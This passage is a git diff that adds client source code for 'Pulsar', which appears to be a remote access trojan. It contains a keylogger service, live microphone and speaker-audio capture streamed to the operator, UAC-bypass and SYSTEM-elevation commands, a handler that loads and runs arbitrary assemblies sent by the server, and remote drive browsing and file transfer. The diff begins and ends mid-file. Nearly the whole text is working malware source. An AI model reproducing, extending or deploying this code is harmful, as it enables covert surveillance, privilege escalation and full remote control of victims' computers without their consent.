Debug.WriteLine($"Dispose error: {ex.Message}"); + } + } + + IsDisposed = true; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Logging/KeyloggerService.cs b/Pulsar.Client/Logging/KeyloggerService.cs new file mode 100644 index 0000000..3fd7fca --- /dev/null +++ b/Pulsar.Client/Logging/KeyloggerService.cs @@ -0,0 +1,289 @@ +using System; +using System.ComponentModel; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client.Logging +{ + /// + /// Provides a service to run the keylogger within its own message loop. + /// + public class KeyloggerService : IDisposable + { + private readonly Thread _msgLoopThread; + private ApplicationContext _msgLoop; + private Keylogger _keylogger; + private readonly ManualResetEventSlim _initialized = new ManualResetEventSlim(false); + private readonly ManualResetEventSlim _shutdownComplete = new ManualResetEventSlim(false); + private readonly CancellationTokenSource _cancellationTokenSource = new CancellationTokenSource(); + private bool _disposed; + private volatile bool _isRunning; + + public KeyloggerService() + { + _msgLoopThread = new Thread(MessageLoopThread) + { + IsBackground = true, + Name = "Keylogger Message Loop Thread", + Priority = ThreadPriority.BelowNormal // Reduce impact on system + }; + } + + /// + /// Gets whether the keylogger service is currently running. + /// + public bool IsRunning => _isRunning && !_disposed; + + /// + /// Event raised when the keylogger service encounters an error. + /// + public event EventHandler ErrorOccurred; + + /// + /// Event raised when the keylogger service starts successfully. + /// + public event EventHandler Started; + + /// + /// Event raised when the keylogger service stops. + /// + public event EventHandler Stopped; + + private void MessageLoopThread() + { + var threadId = Thread.CurrentThread.ManagedThreadId; + + try + { + // Set up the message loop + SynchronizationContext.SetSynchronizationContext(new WindowsFormsSynchronizationContext()); + + _msgLoop = new ApplicationContext(); + + // OPTIMIZED: 3-second flush for live viewing + 10MB file size + _keylogger = new Keylogger(6000, 10 * 1024 * 1024); + + _keylogger.Start(); + _isRunning = true; + _initialized.Set(); + + // Notify start + OnStarted(); + + // Run the message loop with cancellation support + RunMessageLoopWithCancellation(); + + _isRunning = false; + OnStopped(); + } + catch (Exception ex) + { + _isRunning = false; + OnErrorOccurred(ex); + } + finally + { + _shutdownComplete.Set(); + } + } + + private void RunMessageLoopWithCancellation() + { + while (!_cancellationTokenSource.Token.IsCancellationRequested) + { + // Process all Windows messages in the queue + Application.DoEvents(); + + // OPTIMIZED: 25ms sleep for better CPU usage + //Thread.Sleep(25); + } + + // Properly exit the application context + _msgLoop?.ExitThread(); + } + /// + /// Starts the keylogger service and waits until it's ready. + /// + /// Timeout in milliseconds to wait for initialization + /// True if started successfully, false if timed out + public bool Start(int timeoutMs = 10000) + { + if (_disposed) + throw new ObjectDisposedException(nameof(KeyloggerService)); + + if (_isRunning) + return true; + + if (!_msgLoopThread.IsAlive) + { + _msgLoopThread.Start(); + + if (_initialized.Wait(timeoutMs)) + { + return _isRunning; + } + else + { + throw new TimeoutException("Keylogger service failed to initialize within the specified timeout."); + } + } + + return _isRunning; + } + + /// + /// Starts the keylogger service asynchronously. + /// + public async Task StartAsync(int timeoutMs = 10000) + { + return await Task.Run(() => Start(timeoutMs)); + } + + /// + /// Stops the keylogger service. + /// + /// Timeout in milliseconds to wait for shutdown + /// True if stopped successfully, false if timed out + public bool Stop(int timeoutMs = 5000) + { + if (_disposed || !_isRunning) + return true; + + try + { + _cancellationTokenSource.Cancel(); + + // Signal the message loop to exit + _msgLoop?.ExitThread(); + + if (_shutdownComplete.Wait(timeoutMs)) + { + return true; + } + else + { + OnErrorOccurred(new TimeoutException("Keylogger service failed to stop within the specified timeout.")); + return false; + } + } + catch (Exception ex) + { + OnErrorOccurred(ex); + return false; + } + } + + /// + /// Forces an immediate flush of the keylogger buffer. + /// + public void Flush() + { + if (_isRunning && _keylogger != null) + { + try + { + // Use Invoke if we're on a different thread + if (_msgLoop != null && _msgLoop.MainForm != null && !_msgLoop.MainForm.InvokeRequired) + { + _keylogger.FlushImmediately(); + } + else + { + _msgLoop?.MainForm?.Invoke((MethodInvoker)(() => _keylogger.FlushImmediately())); + } + } + catch (Exception ex) + { + OnErrorOccurred(ex); + } + } + } + + /// + /// Restarts the keylogger service. + /// + public async Task RestartAsync(int shutdownTimeoutMs = 5000, int startupTimeoutMs = 10000) + { + if (Stop(shutdownTimeoutMs)) + { + // Small delay to ensure clean shutdown + await Task.Delay(1000); + return await StartAsync(startupTimeoutMs); + } + return false; + } + + protected virtual void OnErrorOccurred(Exception ex) + { + ErrorOccurred?.Invoke(this, ex); + } + + protected virtual void OnStarted() + { + Started?.Invoke(this, EventArgs.Empty); + } + + protected virtual void OnStopped() + { + Stopped?.Invoke(this, EventArgs.Empty); + } + + protected virtual void Dispose(bool disposing) + { + if (_disposed) + return; + + if (disposing) + { + // Signal cancellation first + _cancellationTokenSource.Cancel(); + + try + { + // Stop the service if it's running + if (_isRunning) + { + Stop(3000); + } + + // Wait for thread to complete + if (_msgLoopThread.IsAlive && !_msgLoopThread.Join(2000)) + { + _msgLoopThread.Interrupt(); + } + } + catch (Exception ex) + { + OnErrorOccurred(ex); + } + finally + { + // Dispose resources + _keylogger?.Dispose(); + _keylogger = null; + + _msgLoop?.Dispose(); + _msgLoop = null; + + _cancellationTokenSource?.Dispose(); + _initialized?.Dispose(); + _shutdownComplete?.Dispose(); + } + } + + _disposed = true; + } + + ~KeyloggerService() + { + Dispose(false); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/.DS_Store b/Pulsar.Client/Messages/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/Messages/.DS_Store differ diff --git a/Pulsar.Client/Messages/AudioHandler.cs b/Pulsar.Client/Messages/AudioHandler.cs new file mode 100644 index 0000000..5d105d9 --- /dev/null +++ b/Pulsar.Client/Messages/AudioHandler.cs @@ -0,0 +1,261 @@ +using NAudio.CoreAudioApi; +using NAudio.Wave; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Audio; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; + +namespace Pulsar.Client.Messages +{ + public class AudioHandler : NotificationMessageProcessor, IDisposable + { + public override bool CanExecute(IMessage message) => message is GetMicrophone || + message is GetMicrophoneDevice; + + public override bool CanExecuteFrom(ISender sender) => true; + + public ISender _client; + + private bool _isStarted; + + public WaveInEvent _audioDevice; + + private int _deviceID; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetMicrophone msg: + Execute(sender, msg); + break; + + case GetMicrophoneDevice msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetMicrophone message) + { + if (message.CreateNew) + { + try + { + _isStarted = false; + _audioDevice?.Dispose(); + OnReport("Audio streaming started"); + } + catch (Exception ex) + { + OnReport($"Error during audio device cleanup: {ex.Message}"); + } + } + if (message.Destroy) + { + try + { + Destroy(); + OnReport("Audio streaming stopped"); + } + catch (Exception ex) + { + OnReport($"Error stopping audio: {ex.Message}"); + } + return; + } + if (_client == null) _client = client; + if (!_isStarted) + { + try + { + _deviceID = message.DeviceIndex; + + if (_deviceID < 0 || _deviceID >= WaveIn.DeviceCount) + { + OnReport($"Invalid microphone device index: {_deviceID}. Available devices: {WaveIn.DeviceCount}"); + return; + } + var capabilities = WaveIn.GetCapabilities(_deviceID); + if (capabilities.Channels == 0) + { + OnReport($"Microphone device {_deviceID} has no available channels"); + return; + } + + OnReport($"Initializing microphone device {_deviceID}: {capabilities.ProductName}"); + + _audioDevice = new WaveInEvent + { + DeviceNumber = _deviceID, + WaveFormat = new WaveFormat(message.Bitrate, capabilities.Channels) + }; + _audioDevice.BufferMilliseconds = 50; + _audioDevice.DataAvailable += sourcestream_DataAvailable; + _audioDevice.StartRecording(); + _isStarted = true; + } + catch (ArgumentOutOfRangeException ex) + { + OnReport($"Device index out of range: {ex.Message}"); + _isStarted = false; + } + catch (InvalidOperationException ex) + { + OnReport($"Invalid microphone operation: {ex.Message}"); + _isStarted = false; + } + catch (System.Runtime.InteropServices.COMException ex) + { + OnReport($"COM error accessing microphone: {ex.Message}"); + _isStarted = false; + } + catch (UnauthorizedAccessException ex) + { + OnReport($"Unauthorized access to microphone: {ex.Message}"); + _isStarted = false; + } + catch (Exception ex) + { + OnReport($"Unexpected error initializing microphone: {ex.Message}"); + _isStarted = false; + } + } + } + + private void sourcestream_DataAvailable(object notUsed, WaveInEventArgs e) + { + try + { + if (e?.Buffer == null || e.BytesRecorded <= 0) + { + return; + } + + byte[] rawAudio = new byte[e.BytesRecorded]; + Array.Copy(e.Buffer, rawAudio, e.BytesRecorded); + + _client?.Send(new GetMicrophoneResponse + { + Audio = rawAudio, + Device = _deviceID + }); + } + catch (Exception ex) + { + OnReport($"Error processing microphone data: {ex.Message}"); + } + } + + private void Execute(ISender client, GetMicrophoneDevice message) + { + try + { + var deviceList = new List>(); + + int deviceCount = WaveIn.DeviceCount; + for (int i = 0; i < deviceCount; i++) + { + try + { + var capabilities = WaveIn.GetCapabilities(i); + string deviceName = capabilities.ProductName; + + OnReport($"Found microphone device {i}: {deviceName} (Channels: {capabilities.Channels})"); + + if (!string.IsNullOrEmpty(deviceName) && capabilities.Channels > 0) + { + deviceList.Add(Tuple.Create(i, deviceName)); + } + } + catch (Exception ex) + { + OnReport($"Error accessing microphone device {i}: {ex.Message}"); + } + } + + client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = deviceList }); + } + catch (Exception ex) + { + OnReport($"Error enumerating microphone devices: {ex.Message}"); + client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = new List>() }); + } + } + + public void Destroy() + { + try + { + if (_audioDevice != null) + { + try + { + _audioDevice.DataAvailable -= sourcestream_DataAvailable; + } + catch (Exception ex) + { + OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}"); + } + + try + { + if (_audioDevice.DeviceNumber >= 0) // Check if device is valid + { + _audioDevice.StopRecording(); + } + } + catch (Exception ex) + { + OnReport($"Error stopping microphone recording: {ex.Message}"); + } + + try + { + _audioDevice.Dispose(); + } + catch (Exception ex) + { + OnReport($"Error disposing microphone device: {ex.Message}"); + } + + _audioDevice = null; + } + } + catch (Exception ex) + { + OnReport($"Error in Destroy method: {ex.Message}"); + } + finally + { + _isStarted = false; + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + try + { + Destroy(); + } + catch (Exception ex) + { + OnReport($"Error during disposal: {ex.Message}"); + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/AudioOutputHandler.cs b/Pulsar.Client/Messages/AudioOutputHandler.cs new file mode 100644 index 0000000..2bfe8ec --- /dev/null +++ b/Pulsar.Client/Messages/AudioOutputHandler.cs @@ -0,0 +1,275 @@ +using NAudio.CoreAudioApi; +using NAudio.Wave; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Audio; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class AudioOutputHandler : NotificationMessageProcessor, IDisposable + { + public override bool CanExecute(IMessage message) => message is GetOutput || + message is GetOutputDevice; + + public override bool CanExecuteFrom(ISender sender) => true; + + public ISender _client; + + private bool _isStarted; + + public WasapiLoopbackCapture _audioDevice; + + private int _deviceID; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetOutput msg: + Execute(sender, msg); + break; + + case GetOutputDevice msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetOutput message) + { + if (message.CreateNew) + { + try + { + _isStarted = false; + _audioDevice?.Dispose(); + OnReport("Speaker audio streaming started"); + } + catch (Exception ex) + { + OnReport($"Error during audio device cleanup: {ex.Message}"); + } + } + if (message.Destroy) + { + try + { + Destroy(); + OnReport("Speaker audio streaming stopped"); + } + catch (Exception ex) + { + OnReport($"Error stopping speaker audio: {ex.Message}"); + } + return; + } + if (_client == null) _client = client; + if (!_isStarted) + { + try + { + _deviceID = message.DeviceIndex; + var enumerator = new MMDeviceEnumerator(); + var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active); + + if (_deviceID < 0 || _deviceID >= devices.Count) + { + OnReport($"Invalid device index: {_deviceID}. Available devices: {devices.Count}"); + enumerator.Dispose(); + return; + } + var device = devices[_deviceID]; + if (device == null) + { + OnReport($"Audio device at index {_deviceID} is null"); + enumerator.Dispose(); + return; + } + + OnReport($"Initializing system audio device {_deviceID}: {device.FriendlyName}"); + + if (device.AudioClient?.MixFormat == null) + { + OnReport($"Audio device {_deviceID} has invalid audio client or format"); + enumerator.Dispose(); + return; + } + + int sampleRate = message.Bitrate; + int channels = device.AudioClient.MixFormat.Channels; + var waveFormat = new WaveFormat(sampleRate, channels); + + _audioDevice = new WasapiLoopbackCapture(device); + _audioDevice.WaveFormat = waveFormat; + + _audioDevice.DataAvailable += sourcestream_DataAvailable; + _audioDevice.StartRecording(); + _isStarted = true; + + enumerator.Dispose(); + } + catch (ArgumentOutOfRangeException ex) + { + OnReport($"Device index out of range: {ex.Message}"); + _isStarted = false; + } + catch (InvalidOperationException ex) + { + OnReport($"Invalid audio operation: {ex.Message}"); + _isStarted = false; + } + catch (System.Runtime.InteropServices.COMException ex) + { + OnReport($"COM error accessing audio device: {ex.Message}"); + _isStarted = false; + } + catch (UnauthorizedAccessException ex) + { + OnReport($"Unauthorized access to audio device: {ex.Message}"); + _isStarted = false; + } + catch (Exception ex) + { + OnReport($"Unexpected error initializing audio capture: {ex.Message}"); + _isStarted = false; + } + } + } + + private void sourcestream_DataAvailable(object sender, WaveInEventArgs e) //fix overheat + { + byte[] bufferCopy = new byte[e.BytesRecorded]; + Array.Copy(e.Buffer, bufferCopy, e.BytesRecorded); + + Task.Run(() => + { + try + { + _client.Send(new GetOutputResponse + { + Audio = bufferCopy, + Device = _deviceID + }); + } + catch (Exception ex) + { + OnReport($"Error sending audio data: {ex.Message}"); + } + }); + } + + private void Execute(ISender client, GetOutputDevice message) + { + try + { + var deviceList = new List>(); + var enumerator = new MMDeviceEnumerator(); + var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active); + + for (int i = 0; i < devices.Count; i++) + { + try + { + var deviceName = devices[i]?.FriendlyName; + if (!string.IsNullOrEmpty(deviceName)) + { + OnReport($"Found system audio device {i}: {deviceName}"); + deviceList.Add(Tuple.Create(i, deviceName)); + } + } + catch (Exception ex) + { + OnReport($"Error accessing device {i}: {ex.Message}"); + } + } + enumerator.Dispose(); + + client.Send(new GetOutputDeviceResponse { DeviceInfos = deviceList }); + } + catch (Exception ex) + { + OnReport($"Error enumerating audio devices: {ex.Message}"); + client.Send(new GetOutputDeviceResponse { DeviceInfos = new List>() }); + } + } + + public void Destroy() + { + try + { + if (_audioDevice != null) + { + try + { + _audioDevice.DataAvailable -= sourcestream_DataAvailable; + } + catch (Exception ex) + { + OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}"); + } + + try + { + if (_audioDevice.CaptureState == CaptureState.Capturing) + { + _audioDevice.StopRecording(); + } + } + catch (Exception ex) + { + OnReport($"Error stopping audio recording: {ex.Message}"); + } + + try + { + _audioDevice.Dispose(); + } + catch (Exception ex) + { + OnReport($"Error disposing audio device: {ex.Message}"); + } + + _audioDevice = null; + } + } + catch (Exception ex) + { + OnReport($"Error in Destroy method: {ex.Message}"); + } + finally + { + _isStarted = false; + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + try + { + Destroy(); + } + catch (Exception ex) + { + OnReport($"Error during disposal: {ex.Message}"); + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/ClientServicesHandler.cs b/Pulsar.Client/Messages/ClientServicesHandler.cs new file mode 100644 index 0000000..8c21499 --- /dev/null +++ b/Pulsar.Client/Messages/ClientServicesHandler.cs @@ -0,0 +1,204 @@ +using Microsoft.Win32; +using Pulsar.Client.Config; +using Pulsar.Client.Helper; +using Pulsar.Client.Helper.UAC; +using Pulsar.Client.Networking; +using Pulsar.Client.Setup; +using Pulsar.Client.User; +using Pulsar.Client.Utilities; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.ClientManagement; +using Pulsar.Common.Messages.ClientManagement.UAC; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using Pulsar.Common.UAC; +using System; +using System.Diagnostics; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class ClientServicesHandler : IMessageProcessor + { + private readonly PulsarClient _client; + private readonly PulsarApplication _application; + + public ClientServicesHandler(PulsarApplication application, PulsarClient client) + { + _application = application; + _client = client; + } + + public bool CanExecute(IMessage message) => message is DoClientUninstall || + message is DoClientDisconnect || + message is DoClientReconnect || + message is DoAskElevate || + message is DoElevateSystem || + message is DoDeElevate || + message is DoUACBypass || + message is DoClearTempDirectory; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoClientUninstall msg: + Execute(sender, msg); + break; + case DoClientDisconnect msg: + Execute(sender, msg); + break; + case DoClientReconnect msg: + Execute(sender, msg); + break; + case DoAskElevate msg: + Execute(sender, msg); + break; + case DoElevateSystem msg: + Execute(sender, msg); + break; + case DoDeElevate msg: + Execute(sender, msg); + break; + case DoUACBypass msg: + Execute(sender, msg); + break; + case DoClearTempDirectory msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoClientUninstall message) + { + client.Send(new SetStatus { Message = "Starting uninstall process..." }); + try + { + new ClientUninstaller().Uninstall(); + client.Send(new SetStatus { Message = "Uninstallation complete. Exiting client." }); + _client.Exit(); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoClientDisconnect message) + { + client.Send(new SetStatus { Message = "Disconnecting client..." }); + _client.Exit(); + } + + private void Execute(ISender client, DoClientReconnect message) + { + client.Send(new SetStatus { Message = "Reconnecting client..." }); + _client.Disconnect(); + } + + private void Execute(ISender client, DoAskElevate message) + { + var userAccount = new UserAccount(); + client.Send(new SetStatus { Message = "Checking for administrative privileges..." }); + + if (userAccount.Type != AccountType.Admin) + { + client.Send(new SetStatus { Message = "Attempting to request elevation..." }); + + ProcessStartInfo processStartInfo = new ProcessStartInfo + { + FileName = "cmd", + Verb = "runas", + Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true + }; + + _application.ApplicationMutex.Dispose(); + try + { + Process.Start(processStartInfo); + client.Send(new SetStatus { Message = "Elevation process started. Exiting current instance." }); + } + catch + { + client.Send(new SetStatus { Message = "User refused the elevation request." }); + _application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + return; + } + _client.Exit(); + } + else + { + client.Send(new SetStatus { Message = "Process already running with administrative privileges." }); + } + } + + private void Execute(ISender client, DoElevateSystem message) + { + client.Send(new SetStatus { Message = "Attempting to elevate to SYSTEM..." }); + SystemElevation.Elevate(client); + } + + private void Execute(ISender client, DoDeElevate message) + { + client.Send(new SetStatus { Message = "Attempting to de-elevate from SYSTEM..." }); + SystemElevation.DeElevate(client); + } + + private void Execute(ISender client, DoUACBypass message) + { + client.Send(new SetStatus { Message = "Executing UAC bypass..." }); + Bypass.DoUacBypass(); + client.Send(new SetStatus { Message = "UAC bypass completed. Exiting client." }); + _client.Exit(); + } + + private void Execute(ISender client, DoClearTempDirectory message) + { + client.Send(new SetStatus { Message = "Starting temporary file cleanup..." }); + try + { + string tempPath = System.IO.Path.GetTempPath(); + string[] files = System.IO.Directory.GetFiles(tempPath, "*", System.IO.SearchOption.AllDirectories); + int deletedFiles = 0; + + foreach (string file in files) + { + try + { + System.IO.File.Delete(file); + deletedFiles++; + } + catch + { + // Ignore permission or lock errors + } + } + + foreach (string dir in System.IO.Directory.GetDirectories(tempPath)) + { + try + { + System.IO.Directory.Delete(dir, true); + } + catch + { + // Ignore restricted directories + } + } + + client.Send(new SetStatus { Message = $"Cleanup complete — {deletedFiles} files deleted." }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Temp cleanup failed: {ex.Message}" }); + } + } + } +} diff --git a/Pulsar.Client/Messages/CommandHandler.cs b/Pulsar.Client/Messages/CommandHandler.cs new file mode 100644 index 0000000..6719284 --- /dev/null +++ b/Pulsar.Client/Messages/CommandHandler.cs @@ -0,0 +1,98 @@ +using System; +using System.Reflection; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using Pulsar.Client.Plugins; +using Pulsar.Common.Plugins; + +namespace Pulsar.Client.Messages +{ + public sealed class CommandHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => + message is DoLoadUniversalPlugin || + message is DoExecuteUniversalCommand; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + try + { + switch (message) + { + case DoLoadUniversalPlugin loadMsg: + HandleLoadUniversalPlugin(sender, loadMsg); + break; + case DoExecuteUniversalCommand execMsg: + HandleExecuteUniversalCommand(sender, execMsg); + break; + } + } + catch (Exception ex) + { + sender.Send(new SetStatus { Message = "Command error: " + ex.Message }); + } + } + + private void HandleLoadUniversalPlugin(ISender sender, DoLoadUniversalPlugin msg) + { + try + { + var asm = Assembly.Load(msg.PluginBytes); + var type = asm.GetType(msg.TypeName, throwOnError: true); + var plugin = Activator.CreateInstance(type); + var initializeMethod = type.GetMethod("Initialize"); + initializeMethod.Invoke(plugin, new object[] { msg.InitData }); + UniversalPluginDispatcher.RegisterPlugin(msg.PluginId, plugin); + + sender.Send(new DoUniversalPluginResponse + { + PluginId = msg.PluginId, + Command = "load", + Success = true, + Message = $"Plugin {msg.PluginId} loaded successfully" + }); + } + catch (Exception ex) + { + sender.Send(new DoUniversalPluginResponse + { + PluginId = msg.PluginId, + Command = "load", + Success = false, + Message = ex.Message + }); + } + } + + private void HandleExecuteUniversalCommand(ISender sender, DoExecuteUniversalCommand msg) + { + var result = UniversalPluginDispatcher.ExecuteCommand(msg.PluginId, msg.Command, msg.Parameters); + + var resultType = result.GetType(); + var successProperty = resultType.GetProperty("Success"); + var messageProperty = resultType.GetProperty("Message"); + var dataProperty = resultType.GetProperty("Data"); + var shouldUnloadProperty = resultType.GetProperty("ShouldUnload"); + var nextCommandProperty = resultType.GetProperty("NextCommand"); + + bool success = successProperty != null ? (bool)successProperty.GetValue(result) : false; + string message = messageProperty != null ? (string)messageProperty.GetValue(result) : "Unknown error"; + byte[] data = dataProperty != null ? (byte[])dataProperty.GetValue(result) : null; + bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false; + string nextCommand = nextCommandProperty != null ? (string)nextCommandProperty.GetValue(result) : null; + + sender.Send(new DoUniversalPluginResponse + { + PluginId = msg.PluginId, + Command = msg.Command, + Success = success, + Message = message, + Data = data, + ShouldUnload = shouldUnload, + NextCommand = nextCommand + }); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/DeferredAssemblyHandler.cs b/Pulsar.Client/Messages/DeferredAssemblyHandler.cs new file mode 100644 index 0000000..0765387 --- /dev/null +++ b/Pulsar.Client/Messages/DeferredAssemblyHandler.cs @@ -0,0 +1,53 @@ +using Pulsar.Client.Config; +using Pulsar.Client.Utilities; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System.Diagnostics; +using System.Threading; + +namespace Pulsar.Client.Messages +{ + /// + /// Receives deferred assembly packages from the server and forwards them to the manager. + /// + public class DeferredAssemblyHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DeferredAssembliesPackage; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + var package = message as DeferredAssembliesPackage; + if (package == null) + { + Debug.WriteLine("[DeferredAssemblyHandler] Received invalid package."); + return; + } + + DeferredAssemblyManager.RegisterPackage(package); + + var remaining = DeferredAssemblyManager.GetMissingAssemblies(); + if (remaining != null && remaining.Length > 0) + { + Debug.WriteLine($"[DeferredAssemblyHandler] Still missing {remaining.Length} deferred assemblies, requesting again."); + ThreadPool.QueueUserWorkItem(_ => + { + try + { + sender.Send(new RequestDeferredAssemblies + { + Assemblies = remaining, + ClientVersion = Settings.ReportedVersion + }); + } + catch (System.Exception ex) + { + Debug.WriteLine($"[DeferredAssemblyHandler] Failed to re-request deferred assemblies: {ex.Message}"); + } + }); + } + } + } +} diff --git a/Pulsar.Client/Messages/FileManagerHandler.cs b/Pulsar.Client/Messages/FileManagerHandler.cs new file mode 100644 index 0000000..14d03ae --- /dev/null +++ b/Pulsar.Client/Messages/FileManagerHandler.cs @@ -0,0 +1,587 @@ +using Pulsar.Client.Networking; +using Pulsar.Common; +using Pulsar.Common.Enums; +using Pulsar.Common.Extensions; +using Pulsar.Common.Helpers; +using Pulsar.Common.IO; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.FileManager; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using Pulsar.Common.Networking; +using System; +using System.Collections.Concurrent; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Security; +using System.Threading; + +namespace Pulsar.Client.Messages +{ + public class FileManagerHandler : NotificationMessageProcessor, IDisposable + { + private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); + private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads + + private readonly PulsarClient _client; + + private CancellationTokenSource _tokenSource; + + private CancellationToken _token; + + public FileManagerHandler(PulsarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + switch (connected) + { + case true: + + _tokenSource?.Dispose(); + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + break; + case false: + // cancel all running transfers on disconnect + _tokenSource.Cancel(); + break; + } + } + + public override bool CanExecute(IMessage message) => message is GetDrives || + message is GetDirectory || + message is FileTransferRequest || + message is FileTransferCancel || + message is FileTransferChunk || + message is DoPathDelete || + message is DoPathRename || + message is DoZipFolder; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDrives msg: + Execute(sender, msg); + break; + case GetDirectory msg: + Execute(sender, msg); + break; + case FileTransferRequest msg: + Execute(sender, msg); + break; + case FileTransferCancel msg: + Execute(sender, msg); + break; + case FileTransferChunk msg: + Execute(sender, msg); + break; + case DoPathDelete msg: + Execute(sender, msg); + break; + case DoPathRename msg: + Execute(sender, msg); + break; + case DoZipFolder msg: + HandleDoZipFile(sender, msg); + break; + } + } + private void HandleDoZipFile(ISender client, DoZipFolder message) + { + try + { + if (!Directory.Exists(message.SourcePath)) + { + client.Send(new SetStatusFileManager { Message = $"Directory not found: {message.SourcePath}" }); + return; + } + + client.Send(new SetStatusFileManager { Message = $"Creating zip archive: {message.DestinationPath}" }); + + string parentDir = Path.GetDirectoryName(message.DestinationPath); + if (!Directory.Exists(parentDir)) + Directory.CreateDirectory(parentDir); + + if (File.Exists(message.DestinationPath)) + File.Delete(message.DestinationPath); + + ZipFile.CreateFromDirectory( + message.SourcePath, + message.DestinationPath, + (CompressionLevel)message.CompressionLevel, + includeBaseDirectory: false); + + client.Send(new SetStatusFileManager { Message = $"Successfully created zip: {message.DestinationPath}" }); + } + catch (Exception ex) + { + client.Send(new SetStatusFileManager { Message = $"Error creating zip: {ex.Message}" }); + } + } + + private void Execute(ISender client, GetDrives command) + { + DriveInfo[] driveInfos; + try + { + driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); + } + catch (IOException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false }); + return; + } + catch (UnauthorizedAccessException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false }); + return; + } + + if (driveInfos.Length == 0) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false }); + return; + } + + Drive[] drives = new Drive[driveInfos.Length]; + for (int i = 0; i < drives.Length; i++) + { + try + { + var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel) + ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].VolumeLabel, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat) + : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat); + + drives[i] = new Drive + { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; + } + catch (Exception) + { + + } + } + + client.Send(new GetDrivesResponse { Drives = drives }); + } + + private void Execute(ISender client, GetDirectory message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + DirectoryInfo dicInfo = new DirectoryInfo(message.RemotePath); + + FileInfo[] files = dicInfo.GetFiles(); + DirectoryInfo[] directories = dicInfo.GetDirectories(); + + FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length]; + + int offset = 0; + for (int i = 0; i < directories.Length; i++, offset++) + { + items[i] = new FileSystemEntry + { + EntryType = FileType.Directory, + Name = directories[i].Name, + Size = 0, + LastAccessTimeUtc = directories[i].LastAccessTimeUtc + 